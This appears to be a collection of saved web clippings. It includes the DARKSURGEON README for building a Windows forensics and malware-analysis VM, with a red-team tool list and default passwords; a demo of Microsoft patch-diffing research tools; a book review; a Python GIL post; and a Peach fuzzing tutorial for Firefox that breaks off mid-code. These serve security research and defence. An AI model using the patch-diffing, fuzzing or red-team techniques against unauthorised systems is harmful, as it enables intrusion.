  * IDA Free Trial \(FLARE\)
  * Binary Ninja Demo \(FLARE\)
  * Radare2 \(FLARE\)

**Document Analysis:** Tools, scripts, and binaries for performing analysis of
documents.

  * OffVis \(FLARE\)
  * OfficeMalScanner \(FLARE\)
  * PDFId \(FLARE\)
  * PDFParser \(FLARE\)
  * PDFStreamDumper \(FLARE\)

**DotNet Analysis:**

Tools, scripts, and binaries for performing analysis of DotNet artifacts.

  * DE4Dot \(FLARE\)
  * DNSpy \(FLARE\)
  * DotPeek \(FLARE\)
  * ILSpy \(FLARE\)

**Flash Analysis:**

Tools, scripts, and binaries for performing analysis of flash artifacts.

  * FFDec \(FLARE\)

**Forensic Analysis:**

Tools, scripts, and binaries for performing forensic analysis on application
and operating system artifacts.

  * Amcache Parser
  * AppCompatCache Parser
  * IISGeolocate
  * JLECmd
  * LECmd
  * JumpList Explorer
  * PECmd
  * Registry Explorer
  * Regshot \(FLARE\)
  * Shellbags Explorer
  * Timeline Explorer
  * TSK \(The Sleuthkit\)
  * Volatility
  * X-Ways Forensics Installer Manager \(XWFIM\)

**Hex Editors:**

  * FileInsight \(FLARE\)
  * HxD \(FLARE\)
  * 010 Editor \(FLARE\)

**Java Analysis:**

  * JD-GUI \(FLARE\)
  * Dex2JAR

**Network Analysis:**

  * Burp Free
  * FakeNet-NG \(FLARE\)
  * Wireshark \(FLARE\)

**PE Analysis:**

  * DIE \(FLARE\)
  * EXEInfoPE \(FLARE\)
  * Malware Analysis Pack \(MAP\) \(FLARE\)
  * PEiD \(FLARE\)
  * ExplorerSuite \(CFF Explorer\) \(FLARE\)
  * PEStudio \(FLARE\)
  * PEview \(FLARE\)
  * Resource Hacker \(FLARE\)
  * VirusTotal Uploader

**Powershell Modules:**

  * Active Directory
  * Azure Management
  * Pester

**Python Libraries:**

  * Cryptography
  * Hexdump
  * OLETools
  * LXML
  * Pandas
  * Passivetotal
  * PEFile
  * PyCryptodome
  * Scapy
  * Shodan
  * Sigma
  * Visual C++ for Python
  * Vivisect
  * WinAppDBG
  * Yara-Python

**Red Team:**

  * Grouper
  * Inveigh
  * Nmap
  * Powershell Empire
  * PowerupSQL
  * PSAttack
  * PSAttack Build Tool
  * Responder

**Remote Management:**

  * AWS Command Line \(AWSCLI\)
  * OpenSSH
  * Putty
  * Remote Server Administration Tools \(RSAT\)

**Utilities:**

  * 1Password
  * 7Zip
  * Adobe Flash Player
  * Adobe Reader
  * API Monitor
  * Bleachbit
  * Boxstarter
  * Bstrings
  * Checksum
  * Chocolatey
  * Cmder
  * Containers \(Hyper-V\)
  * Curl
  * Cyber Chef
  * Docker
  * DotNet 3.5
  * DotNet 4
  * Exiftool
  * FLOSS \(FLARE\)
  * Git
  * GoLang
  * Google Chrome
  * GPG4Win
  * Hashcalc
  * Hashdeep
  * Hasher
  * Hashtab
  * Hyper-V
  * Irfanview
  * Java JDK8
  * Java JRE8
  * JQ
  * Jupyter
  * Keepass
  * Microsoft Edge
  * Mozilla Firefox
  * Mozilla Thunderbird
  * Neo4j Community
  * NodeJS
  * Nuget
  * Office365 ProPlus
  * OpenVPN
  * Osquery
  * Python 2.7
  * Qbittorrent
  * RawCap
  * Slack
  * Sublime Text 3
  * Sysinternals Suite
  * Tor Browser
  * UnixUtils
  * UPX
  * Visual C++ 2005
  * Visual C++ 2008
  * Visual C++ 2010
  * Visual C++ 2012
  * Visual C++ 2013
  * Visual C++ 2015
  * Visual C++ 2017
  * Visual Studio Code
  * Windows 10 SDK
  * Windows Subsystem for Linux \(WSL\)
  * Winlogbeat
  * XorSearch
  * XorStrings

**Visual Basic Analysis:**

  * VBDecompiler

## Building DARKSURGEON

### Build Process

DARKSURGEON is built using the HashiCorp application packer. The total build
time for a new instance of DARKSURGEON is around 2–3 hours.

  1. Packer creates a new virtual machine using the DARKSURGEON JSON file and your hypervisor of choice \(e.g. Hyper-V, Virtualbox, VMWare\).
  2. The answers.iso file is mounted inside the DARKSURGEON VM along with the Windows ISO. The answers.iso file contains the unattend.xml needed for a touchless installation of windows, as well as a powershell script to configure Windows Remote Management \(winrm\).
  3. Packer connects to the DARKSURGEON VM using WinRM and copies over all files in the helper-scripts and configuration-files directory to the host.
  4. Packer performs serial installations of each of the configured powershell scripts, performing occasional reboots as needed. 
  5. When complete, packer performs a sysprep, shuts down the virtual machine, and creates a vagrant box file. Additional outputs may be specified in the post-processors section of the JSON file.

### Setup

**Note: Hyper-V is currently the only supported hypervisor in this alpha
release. VirtualBox and VMWare support are forthcoming.**

  1. Install packer, vagrant, and your preferred hypervisor on your host.
  2. Download the repository contents to your host.
  3. Download a Windows 10 Enterprise Evaluation ISO \(1803\).
  4. Move the ISO file to your local DARKSURGEON repository.
  5. Update DARKSURGEON.json with the ISO SHA1 hash and file name.
  6. \(Optional\) Execute the powershell script New-DARKSURGEONISO.ps1 to generate a new answers.iso file. There is an answers ISO file included in the repository but you may re-build this if you don't trust it, or you would like to modify the unattend files: `powershell.exe New-DARKSURGEONISO.ps1`
  7. Build the recipe using packer: `packer build -only=[hyperv-iso|vmware|virtualbox] .\DARKSURGEON.json`

## Configuring DARKSURGEON

DARKSURGEON is designed to be modular and easy to configure. An example
configuration is provided in the _DARKSURGEON.json_ file, but you may add,
remove, or tweak any of the underlying scripts.

Have a custom CA you need to add? Need to add a license file for IDA? No
problem. You can throw any files you need in the **configuration-files**
directory and they'll be copied over to the host for you.

Want to install a custom package, or need some specific OS tweaks? No worries.
Simply make a new powershell script \(or modify an existing one\) in the
**configuration-scripts** directory and add it as a build step in the packer
JSON file.

## Using DARKSURGEON

**Note: Hyper-V is currently the only supported hypervisor in this alpha
release. VirtualBox and VMWare support are forthcoming.**

Once DARKSURGEON has successfully built, you'll receive an output vagrant box
file. The box file contains the virtual machine image and vagrant metadata,
allowing you to quickly spin up a virtual machine as needed.

  1. Install vagrant and your preferred hypervisor on your host.
  2. Navigate to the DARKSURGEON repository \(or the location where you've saved the DARKSURGEON box file\). 
  3. Perform a vagrant up: `vagrant up`

Vagrant will now extract the virtual machine image from the box file, read the
metadata, and create a new VM for you. Want to kill this VM and get a new one?

Easy, just perform the following: `vagrant destroy && vagrant up`

Once the DARKSURGEON virtual machine is running, you can login using one of
the two local accounts:

**Note** : These are default accounts with default credentials. You may want
to consider changing the credentials in your packer build.

**Administrator Account:**

Username: Darksurgeon

Password: darksurgeon

**Local User Account:**

Username: Unprivileged

Password: unprivileged

If you'd rather not use vagrant, you can either import the VM image manually,
or look at one of the many other post-processor options provided by packer.

## Downloading DARKSURGEON

If you'd rather skip the process of building DARKSURGEON and want to trust the
box file I've built, you can simply download it here.

## Contributing

Contributions, fixes, and improvements can be submitted directly against this
project as a GitHub issue or pull request. Tools will be reviewed and added on
a case-by-case basis.

## Frequently Asked Questions

### Why is Hyper-V the preferred hypervisor?

I strongly believe in the value of Windows Defender Device Guard and
Virtualization Based Security, which require the usage of Hyper-V for optimal
effectiveness. As a result, other Hypervisors are not recommended on the host
machine. I will do my best to accomodate other mainline hypervisors, but I
would encourage all users to try using Hyper-V.

### Why does the entire packer build fail on a chocolatey package error?

This was a design decision that was made to guarantee that all packages which
were expected made it into the final packer build. The upside of this decision
is that it guarantees all expected tools will be available in the finalized
product. The downside is that additional complexity and fragility are inserted
the build pipeline, as transient or chocolatey errors may cause a build to
fail.

If you wish to ignore this functionality, you are free to modify the
underlying script to ignore errors on package installation.

### Does this project support using a Chocolatey
Professional/Business/Consultant license?

Yes. If you add your license file \(named `chocolatey.license.xml`\) to the
configuration-files directory when performing a packer build, it will
automatically be imported by the `Set-ChocolateySettings.ps1` script. Please
ensure that your usage of a chocolatey license adheres to their End-User
License Agreement.

### Why are the build functions broken into dozens of individual powershell
scripts

Flexibility is key. You may opt to use -- or not use -- any of these scripts,
and in any order. Having individual files, while increasing project
complexity, ensures that the project can be completely customized without
issue.

### I want to debug the build. How do I do so?

Add the `Set-Breakpoint.ps1` script into the provisioner process at the
desired point. This will cause the packer build to halt for 4 hours as it
waits for the script to complete.

## Troubleshooting

### The packer build process never starts and hangs on the UEFI screen.

This is most likely a timing issue caused by the emulated key presses not
causing the image to boot from the mounted Windows ISO. Restart your VM and
hit any button a few times until the build process starts.

### Packer timed out during the build. I didn't receive an error.

Due to the size of the packages that are downloaded and installed, you may
have exceeded the default packer build time limit.

### My VM is running, but packer doesn't seem to connect via WinRM.

Connect to the guest and check the following:

  * WinRM is accessible from your packer host. \(`Test-NetConnection -ComputerName <Packer IP Address> -Port 5985`\)
  * WinRM is allowed on the guest firewall.

### I keep getting anti-virus, checksum, or other issues with Chocolatey. What
gives?

Unfortunately these packages can be a moving target. New updates can render
the static checksum in the chocolatey package incorrect, anti-virus may
mistakenly flag binaries, etc. Global chocolatey options can be specified to
prevent these errors from occurring, but I will do my best to respond to bug
reports filed as issues on underlying chocolatey packages.

## License Acceptance

You as a user of this project must review, accept, and comply with the license
terms of each downloaded/installed package. If you do not wish to comply with
the license terms of any specific software component, please remove that
package from your packer build, or do not use this project.

## License

MIT License

Copyright \(c\) 2018

Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files \(the "Software"\), to
deal in the Software without restriction, including without limitation the
rights to use, copy, modify, merge, publish, distribute, sublicense, and/or
sell copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:

The above copyright notice and this permission notice shall be included in all
copies or substantial portions of the Software.

THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
SOFTWARE.

## Further Reading and Acknowledgements

This project stands on the shoulders of giants, and I cannot properly thank
all of the original authors for their work, contributions, and inspiration.

  * Joe Fitzgerald for pioneering Windows packer projects.
  * The FLARE team at FireEye for their awesome work on the chocolatey packages and repository for the FLAREVM project.
  * Chris Long for his awesome work on DetectionLab and the packer CI pipeline.
  * All of the authors, chocolatey package maintainers, and tool writers that made this possible.
  * Friends and colleagues for challenging me to finally open source this project.

  

# Programming from the Ground Up

**Created:**| _4/22/2010 9:18:41 PM_  
---|---  
**Updated:**| _4/22/2010 9:19:09 PM_  
**Author:**| __  
**Tags:**| _bookmark programming awesome_  
  
<img src='img/Temp2_6415' />

# Demo - ms-patch-tools - Project Hosting on Google Code

**Created:**| _1/17/2011 9:32:15 PM_  
---|---  
**Updated:**| _1/17/2011 9:32:42 PM_  
**Author:**| __  
**Tags:**| _attacks Exploit reversing Microsoft bin-diffing patch-based_  
  

  
<img src='img/Temp2_2095.png' alt='Logo' /> |  ms-patch-tools Vulnerability research tools for Microsoft bulletins. |   
---|---|---  
Project HomeDownloadsWikiIssuesSource

Search Search within: All wiki pages Featured pages Current pages My starred pages Deprecated pages for  |   
---|---  
| Updated Jan 11 \(2 days ago\) byidefense...@gmail.com  
---  
<img src='img/Temp2_2096.png' width='15' height='15' /> Demo

\#brief demos of tools

# msux

This is pretty self-explanatory:

./msux.sh  
Usage: msux.sh `[`.msu file`]`  
./msux.sh Windows6.0-KB979559-x86.msu  
Extracting file Windows6.0-KB979559-x86.msu...  
Patch cab is output.tmp/Windows6.0-KB979559-x86.cab  
Creating patch-files/win32k.sys.6.0.6001.18468  
Creating patch-files/win32k.sys.6.0.6001.22682  
Creating patch-files/win32k.sys.6.0.6002.18253  
Creating patch-files/win32k.sys.6.0.6002.22396  
ll patch-files/  
total 7976  
-rwxr-xr-x 1 user None 2036224 Jan 11 23:01 win32k.sys.6.0.6001.18468  
-rwxr-xr-x 1 user None 2036736 Jan 11 23:01 win32k.sys.6.0.6001.22682  
-rwxr-xr-x 1 user None 2037248 Jan 11 23:01 win32k.sys.6.0.6002.18253  
-rwxr-xr-x 1 user None 2045440 Jan 11 23:02 win32k.sys.6.0.6002.22396  

# msPatchInfo

This consists of several python scripts used to build, update, and query the
database of file version information. The database itself is simply a python
'shelve' file. We'll start with the query interface, and then discuss the
other scripts after.

**queryMSDB.py** \- is what you think it is. It works like this:

Usage ./queryMSDB.py `[`-d bulletin db `]` `[` -f binary `]` < -v version
regex > < -s service pack regex >

> < -p product regex > < -b branch regex \(GDR/QFE/LDR\) > < -a x86/x64/ia64
> \(default x86\) >  
>  < -u sort by bulletin id instead of dll version > < -y verbose >
[code]

     ./queryMSDB.py -f mshtml.dll -v "8\.0" -u -p "XP"
     -{Querying db patch-info.db...
       
      
    +
     +
     +++ MS08-078 +++
     +
     |--[MSHTML.DLL 8.0.6001.18247 (x86/x86)
     +
     +
     +++ MS09-002 +++
     +
     |--[MSHTML.DLL 8.0.6001.18259 (x86/x86)
     +
     +
     +++ MS09-019 +++
     +
     |--[MSHTML.DLL 8.0.6001.18783 (x86/x86)
     ....snip....
     +
     +
     +++ MS10-071 +++
     +
     |--[MSHTML.DLL 8.0.6001.18975 (x86/x86)
     +
     +
     +++ MS10-090 +++
     +
     |--[MSHTML.DLL 8.0.6001.18999 (x86/x86)
     
    
[/code]

* * *
[code]

    ./queryMSDB.py -f mso.dll -v "12\.0"
     -{Querying db patch-info.db...
       
      
    +
     +
     +++ MS07-025 +++
     +
     |--[MSO.DLL 12.00.6017.5000 (x86/x86)
     +
     +
     +++ MS08-055 +++
     +
     |--[MSO.DLL 12.0.6320.5000 (x86/x86)
     +
     +
     +++ MS10-036 +++
     +
     |--[MSO.DLL 12.0.6535.5002 (x86/x86)
     +
     +
     +++ MS10-087 +++
     +
     |--[MSO.DLL 12.0.6545.5004 (x86/x86)
     
    
[/code]

* * *
Currently, the database contains file version information for all bulletins
from 2005-2011\(January\). Unfortunately though, it does **NOT** contain
service pack information for any applications or operating systems. Since it
works by parsing KB articles derived from bulletins, this information is not
available.

**For reasons explained below, when you want to find binaries that belong to a
certain version of a product you are better off using the '-v' option and
specifying a regex that uses the major version of the application. For Office
2007: "-v 12\\.0". The '-p' switch works well for operating systems, but not
so well for applications.**

## How it works

Several files are used to parse bulletins and generate the database.

**msPatchInfo.py**

Usage: ./msPatchInfo.py < year > < bulletin num >

Retrieves and parses a single bulletin, outputting it to stdout in text based
format. It's typically used like this to retrieve a bunch of bulletins for
further parsing:

for i in ```seq 1 74```; do ./msPatchInfo.py 9 $i >> 2009; done

**genMsFileInfoDb.py**

Usage: ./genMsFileInfoDb.py `[` -g generate `[`bulletin file`]` `]` `[` -u
update `[`bulletin file`]` `]`

> < -d database file \(default patch-info.db\) >
This takes the output of msPatchInfo.py and uses it to generate or update the
database file. For example:

./genMsFileInfoDb.py -g 2009

will create a new database, while

./genMsFileInfoDb.py -u 2009

will update the current database \(patch-info.db, or -d argument\).

These three scripts are all that you should need to use, but there is another
script used by genMsFileInfoDb.py that deserves a few words.

**appParse.py**

A library used to perform fuzzy string matching on product/os strings parsed
from the bulletin file information. Microsoft is terribly inconsistent with
their naming scheme in the file version tables, and there are often
misspellings and formatting errors that make matching up application/os tags
really ugly. The approach I took was a list of operating systems and
applications gathered from Microsoft's bulletin search page combined with a
list of my own. The matching uses python's difflib, with varying degrees of
success. Unfortunately, it's far from perfect for applications. However, for
operating systems it works quite well. From a practical standpoint, this means
that when you use the '-p' tag to search for a specific product you're
gambling a bit. For this reason, I prefer to use '-v' to specify a regex for
the DLL/EXE version. So, for IE8/mshtml.dll, '-v 8\\.0'. This will work 99% of
the time, while searching for "Internet Explorer 8" is liable to miss or match
incorrectly. Unfortunately the data set is pretty terrible \(and apparently
largely generated by hand\).

## Building and updating the DB

### building

You can use the patch-info.db file provided in the release, or you can build
your own database. Assuming you want to start from scratch:

./getAllBulletins.sh

./genMsFileInfoDb.py all-years

./queryMSDB.py bla

### updating

Assuming you have to add the patches for January 2011, updating can be done as
follows.

./msPatchInfo.py 11 1 > log

./msPatchInfo.py 11 2 >> log

./genMsFileInfoDb.py -u log

## TODO

Service packs for popular applications and for operating systems need to be
added.

appParse.py needs to perform better

# Vikram and Neha: The Linux Programming Interface: a beautifully written
technical book

**Created:**| _9/18/2011 7:59:21 AM_  
---|---  
**Updated:**| _9/18/2011 7:59:21 AM_  
**Author:**| __  
**Tags:**| __  
  

### The Linux Programming Interface: a beautifully written technical book

I have been reading, "The Linux Programming Interface" recently. It covers
everything about the Linux programming environment: the layout of process
space in memory, threads, signals, sockets. Nearly everything you can think of
while programming Linux is covered here. Go get it. Now.  
  
It is a beautifully written book. The author, Michael Kerrisk, combines
technical knowledge about Linux internals with a clear, precise writing style.
This book is **fun** to read. I have used Linux for many years now, and I
found the chapters both illuminating and delightful. At first, I picked it up
to learn about memory layout in Linux. I found the writing style so good that
I read on, finishing not just that chapter, but many others. I have been
reading a chapter at a time at random since. Each chapter deals with a single
topic \(e.g. Threads\) and consists of roughly 25 pages. This is an excellent
organisation: it lets you completely understand one area at a time in
manageable chunks. Its 64 chapters are spread across 1500 pages, giving it
unprecedented breadth and depth.  
  
Technical books are difficult to write. The subject matter can be dry and the
terminology makes sentences verbose and difficult to parse. In addition, there
is a problem of target audience. You can assume the reader knows too much,
making the book inaccessible. Or you could assume too little, and require the
reader to go through trivial material that they already know. In addition,
technical books are often read with a purpose in mind. They need to answer the
question, "How do I do X in Linux" in minimum time. Remarkably, this book does
well along all these dimensions. It is a case study in pleasant, lucid
writing.  
  

<img src='img/Temp2_8890.png' width='242' height='320' />

  
If you do anything with Linux, and have ever programmed in Linux, get a copy
now. Keep it on your shelf, and leaf through it when you are bored. You will
enjoy the book, and learn more about Linux while doing so.  

# The Python GIL Visualized

**Created:**| _1/5/2010 4:22:24 PM_  
---|---  
**Updated:**| _1/5/2010 4:22:38 PM_  
**Author:**| __  
**Tags:**| _python programming_  
  

## The Python GIL Visualized

In preparation for my upcoming PyCON'2010 talk on "Understanding the Python
GIL", I've been working on a variety of new material--including some graphical
visualization of the GIL behavior described in my earlier Talk. I'm still
experimenting, but check it out.

In these graphs, Python interpreter ticks are shown along the X-axis. The two
bars indicate two different threads that are executing. White regions indicate
times at which a thread is completely idle. Green regions indicate when a
thread holds the GIL and is running. Red regions indicate when a thread has
been scheduled by the operating system only to awake and find that the GIL is
not available \(e.g., the infamous "GIL Battle"\). For those who don't want to
read, here is the legend again in pictures:

  
<img src='img/Temp2_8261.png' />

Okay, now let's look at some threads. First, here is the behavior of running
two CPU-bound threads on a single CPU system. As you will observe, the threads
nicely alternate with each other after long periods of computation.

<img src='img/Temp2_8263.png' />

Now, let's go fire up the code on your fancy new dual-core laptop. Yow\! Look
at all of that GIL contention. Again, all of those red regions indicate times
where the operating system has scheduled a Python thread on one of the cores,
but it can't run because the thread on the other core is holding it.

<img src='img/Temp2_8262.png' />

Here's an interesting case that involves an I/O bound thread competing with a
CPU-bound thread. In this example, the I/O thread merely echoes UDP packets.
Here is the code for that thread.

>
[code]

>     def thread_1(port):
>         s = socket(AF_INET,SOCK_DGRAM)
>         s.bind(("",port))
>         while True:
>             msg, addr = s.recvfrom(1024)
>             s.sendto(msg,addr)
>  
>  
[/code]

The other thread \(thread 2\) is just mindlessly spinning. This graph shows
what happens when you send a UDP message to thread 1.

<img src='img/Temp2_8260.png' />

As you would expect, most of the time is spent running the CPU-bound thread.
However, when I/O is received, there is a flurry of activity that takes place
in the I/O thread. Let's zoom in on that region and see what's happening.

<img src='img/Temp2_8259.png' />

In this graph, you're seeing how difficult it is for the I/O bound to get the
GIL in order to perform its small amount of processing. For instance,
approximately 17000 interpreter ticks pass between the arrival of the UDP
message and successful return of the `s.recvfrom()` call \(and notice all of
the GIL contention\). More that 34000 ticks pass between the execution of
`s.sendto()` and looping back to the next `s.recvfrom()` call. Needless to
say, this is not the behavior you usually want for I/O bound processing.

Anyways, that is all for now. Come to my PyCON talk to see much more. Also
check out Antoine Pitrou's work on a new GIL.

Note: It is not too late to sign up for my Concurrency Workshop next week
\(Jan 14-15\).

# Security/Fuzzing/Peach - MozillaWiki

**Created:**| _10/30/2011 11:09:43 AM_  
---|---  
**Updated:**| _10/30/2011 11:09:43 AM_  
**Author:**| __  
**Tags:**| _Fuzzer_  
  

# Security/Fuzzing/Peach

* * *
Home » Security » Fuzzing » Peach

< Security | Fuzzing

**Content**

* * *
  * 1 Overview
  * 2 Installation on Linux
    * 2.1 Minimally setting up Peach on Ubuntu 10.04
  * 3 Developing Peach XML Files
    * 3.1 Creating a Data Model
  * 4 Custom Peach Publisher
  * 5 Prepare Firefox for Fuzzing
  * 6 Running the Fuzzer
  * 7 Additional Thoughts

Peach provides a way for one to define the format of data that should be
generated and as well as how and when the fuzzed data should be generated.
It's a fuzzing platform/framework, not a fuzzer itself. It provides an XML +
Python way of quickly creating a fuzzer for a wide variety of data formats and
situations.

Peach is a moderately complex and somewhat poorly documented. The
documentation tends to lack non-trivial examples and the code and provided
tools are sometimes broken. On the other hand, the mailing list is active and
the author appears to be responsive.

Here we describe one specific usage of Peach for fuzzing Firefox. The
information here is liable to be wrong due to Peach changing or due to lack of
experience and understanding of Peach. Please correct mistakes or incorrect
information presented here. The goal of describing this usage of Peach is to
help others save some time learning things that aren't well documented and see
an end-to-end example of browser fuzzing.

Though incomplete, the documentation on the Peach site is very useful. This
tutorial is not a replacement for other tutorials or the Peach documentation.

Current Peach version as of writing: 2.3.6

##  Overview

Fuzzing is an approach to finding bugs in software by generating a variety of
invalid input and passing it to the program. Blind fuzzing, the generation of
completely random input, is infrequently useful. If the test input always
follows the same code path \(e.g. due to the data quickly being seen as
invalid\), then the testing is not valuable. This is where fuzzing frameworks
like Peach come in. Peach allows us to define what the valid data should look
like. Peach then uses this definition, often along with a sample valid file we
provide, in order generate many interesting variants of invalid data. Before
diving into details, here is a high level view of what we're going to do:

  * Install Peach and a few of the dependencies on Linux \(Ubuntu 10.04\). 
  * Create a definition of the data format we want to test. 
  * Refine our data definition based on how well Peach can understand a valid file based on our definition. 
  * Figure out how we're going to fuzz Firefox. That is, how we repeatedly get Firefox to run hundreds of thousands of fuzzed data sets. 
  * Ensure that if the fuzzer does trigger a bug in Firefox, we find out about it and get the information we need to find and fix the bug. 
  * Let the fuzzing commence. 

##  Installation on Linux

The Peach documentation and mailing list seem to indicate that Windows is the
first-class citizen of Peach. This mostly comes through in better support for
attached debuggers and GUI tools. For Linux, there are errors ranging from
Peach not having implemented all of its own code for Linux debugging monitors
\(e.g. missing functions\) as well as bugs in the vdb/vtrace modules it uses.
So, we're not going to base this on attempts to hack those together. Doing so
would seem like a good way to make sure that somebody trying to follow this
guide in the future has to first sort out Peach/vdb bugs.

Note: It is recommended to do everything in this tutorial in a VM.

###  Minimally setting up Peach on Ubuntu 10.04

First, download the Peach source.

Extract the source archive.

[code]

    unzip Peach-2.3.6.zip
    cd Peach-2.3.6
    
[/code]

Peach has a handful of dependencies that it ships with. These are in the
dependencies/src/ folder. These dependencies provided with Peach are all out-
of-date. We'll use a virtualenv for any python modules we can't get from our
distro \(rather than installing system-wide\) so that we don't end up with the
aging peach dependencies installed system-wide.

[code]

    sudo apt-get install build-essential
    
    # python-setuptools for easy_install: you want this installed before
    # creating your virtualenv below
    sudo apt-get install python-virtualenv python-setuptools python-dev
    
    # Use these rather than the ones Peach provides.
    sudo apt-get install python-4suite-xml python-twisted-web
    
    virtualenv ~/peachenv
    
    cd dependencies/src/cDeepCopy
    ~/peachenv/bin/python setup.py install
    cd -
    
    cd dependencies/src/cPeach
    ~/peachenv/bin/python setup.py install
    cd -
    
    ~/peachenv/bin/easy_install multiprocessing
    
[/code]

Now you should be able to run peach \(this should give you a help message\).

[code]

    ~/peachenv/bin/python peach.py --help
    
[/code]

Note that you can ignore the "Warning: Unix debugger failed to load" message
as we aren't using the debugger and so haven't installed it.

##  Developing Peach XML Files

Peach is a framework that can be used in multiple ways: for generating fuzzed
files, for generating fuzzed network traffic, and for fuzzing shared
libraries. Examples of these are given in the Peach Quickstart. We're going to
do something a little different than what is described in the Peach
documentation. What we want is for Firefox to have some of the data it
requests be generated by Peach. It may be possible to do this nicely in the
standard Peach-style, but trying to keep everything Peach-y seems like a
recipe for unmaintainability due to unnecessary complexity. So, instead, we're
going to use Peach in the simplest manner possible to generate fuzz data and
hack some simple python on top to do the rest.

Peach uses an XML format for describing the fuzzing. In this XML file, you
describe the format of the fuzzed data to generate, how and when the data
should be generated \(i.e. how Peach interacts with outside systems during the
fuzzing process and what it does with the fuzzed data\), and how to monitor
for errors triggered by fuzzing. We're not going to have Peach try to monitor
for errors \(e.g. by attaching a debugger\). A bit of experience with Peach on
Linux shows the debugger support to be incomplete and bug-ridden.

###  Creating a Data Model

The DataModel describes the format of the fuzzed data you want to generate.
The more precise the DataModel is, the better the result of fuzzing. Peach
will use the DataModel we provide along with an example file we provide in
order to generate intelligently-fuzzed data. Key to this is that Peach must be
able to interpret the file we provide based on the DataModel we provide. If it
can't see how the DataModel describes the file, then the fuzzed data it
generates will be very simple and not very good for fuzzing purposes.

The way to develop the DataModel with minimal frustration is to start simple,
check how well Peach can interpret it against a simple example file, and then
slowly increase the complexity of the model while continuously testing the
model. The process of interpreting valid data according to a provided
DataModel is what Peach calls "cracking" data. Here we describe trying to
model the WOFF file format using Peach.

We start with the following XML file \(woff.xml\), which in Peach lingo is
called a "pit file":

[code]

    <?xml version="1.0" encoding="UTF-8"?>
    <Peach xmlns="http://phed.org/2008/Peach"
        xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
        xsi:schemaLocation="peach.xsd">
        <Include ns="default" src="file:defaults.xml" />
    
        <DataModel name="WOFF">
            <Blob name="WOFFHeader" length="44" />
            <Blob name="TableDirectoryEntry" length="20" maxOccurs="100" />
            <Blob name="FontTables" />
        </DataModel>
    
        <StateModel name="State" initialState="Initial">
            <State name="Initial">
                <Action type="output">
                    <DataModel ref="WOFF" />
                    <!--
                        Peach will use this file as a starting point for generating fuzzed
                        files. It will therefore need to figure out how this file can be
                        interpereted based on the DataModel specified above (ref="WOFF").
                    -->
                    <Data fileName="/tmp/SomeRealFont.woff" />
                </Action>
                <Action type="close" />
            </State>
        </StateModel>
    
        <Test name="TheTest">
            <StateModel ref="State" />
            <Publisher class="file.FileWriter">
                <!-- Peach will write each generated fuzzed file to this path. -->
                <Param name="fileName" value="/tmp/fuzzfont.woff" />
            </Publisher>
        </Test>
    
        <Run name="DefaultRun">
            <Test ref="TheTest" />
            <!-- Configure a logger to store collected information -->
            <Logger class="logger.Filesystem">
                <Param name="path" value="/tmp/peach.log" />
            </Logger>
        </Run>
    </Peach>
    
[/code]

The DataModel defined above is very simple. We'll expand it in it a moment.
The details of the other parts of the file \(StateModel, Action, Test, Run,
Publisher, along with others we aren't using in this example\) are described
in the Peach pit file documentations.

To test/debug our DataModel defined above \(that is, to determine how well
Peach can understand the file /tmp/SomeRealFont.woff listed in the Action
based on the DataModel\), we run the following command:

[code]

    ~/peachenv/bin/python peach.py -1 --debug woff.xml
    
[/code]

You'll see a lot of output run by:

[code]

    [*] Performing single iteration
    [*] Optmizing DataModel for cracking: 'WOFF'
    [*] Cracking data from /tmp/SomeRealFont.woff into WOFF
    _handleNode(WOFF): template pos(0) >>Enter
    _handleNode: Did not find offset relation
    ---> WOFF (0)
    _handleNode(WOFFHeader): blob pos(0) >>Enter
    _handleNode: Did not find offset relation
    ---> WOFFHeader (0)
    _handleBlob: No relation found
    _handleBlob: Has length
    <--- WOFFHeader (2, 0-44)
    ---] pos = 44
    
    ...
    
    *** That worked out!
    @@@ Looping, occurs=100, rating=2
    @@@ Exiting While Loop
    @@@ Returning a rating=2, curpos=2044, pos=2044, newCurPos=2044, occuurs=100
    _handleNode(TableDirectoryEntry-0): type=blob, realpos=2044, pos=2044, rating=2
    <<EXIT
    _handleBlock(WOFF): Rating: (2) ['OS/2\x00\x00\x01\x90\x00\x00\]:
    TableDirectoryEntry-0 = [None]
    _handleNode(FontTables): blob pos(2044) >>Enter
    _handleNode: Did not find offset relation
    ---> FontTables (2044)
    _handleBlob: No relation found
    _handleBlob: No length found
    <--- FontTables (1, 2044-4704)
    ---] pos = 4704
    _handleNode(FontTables): type=blob, realpos=4704, pos=4704, rating=1 <<EXIT
    _handleBlock(WOFF): Rating: (1) ['\xf92\x0b\xc4gF\x1d\x18\xbd\x]: FontTables =
    [None]
    BLOCK RATING: 2
    <--- WOFF (0)
    _handleNode(WOFF): type=template, realpos=4704, pos=4704, rating=2 <<EXIT
    RATING: 2 - POS: 4704 - LEN(DATA): 4704
    Done cracking stuff
    [*] Total time to crack data: 1.41
    [*] Building relation cache
    [*] Starting run "DefaultRun"
    [-] Test: "TheTest" (None)
    [1:?:?] Element: N/A
            Mutator: N/A
    
    StateEngine.run: State
    StateEngine._runState: Initial
    
    StateEngine._runAction: Named_30
    Actiong output sending 4704 bytes
    
    StateEngine._runAction: Named_32
    -- Completed our iteration range, exiting
    [-] Test "TheTest" completed
    [*] Run "DefaultRun" completed
    
[/code]

A few important points:

  * Our command had the arguments "-1 --debug". That's the number one. This tells Peach to generate one fuzzed output file and then exit. It also tells peach to show debugging information which is useful to figuring out whether Peach liked our DataModel and, if not, what it didn't like. 
  * Near the end we see "RATING: 2 - POS: 4704 - LEN\(DATA\): 4704". This is good. As far as I can tell, a block rating of 2 means success and a block rating of 4 means failure. 
  * The time required to crack was greater than a few milliseconds \("Total time to crack data: 1.41"\). When the time is <0.02 or so, it often is an indication that cracking failed. That is, that Peach gave up pretty early in the cracking process. However, though a short time is indicative of a problem, a non-short time does not mean success. 

If the cracking does fail, you will see lines similar to these near the end:

[code]

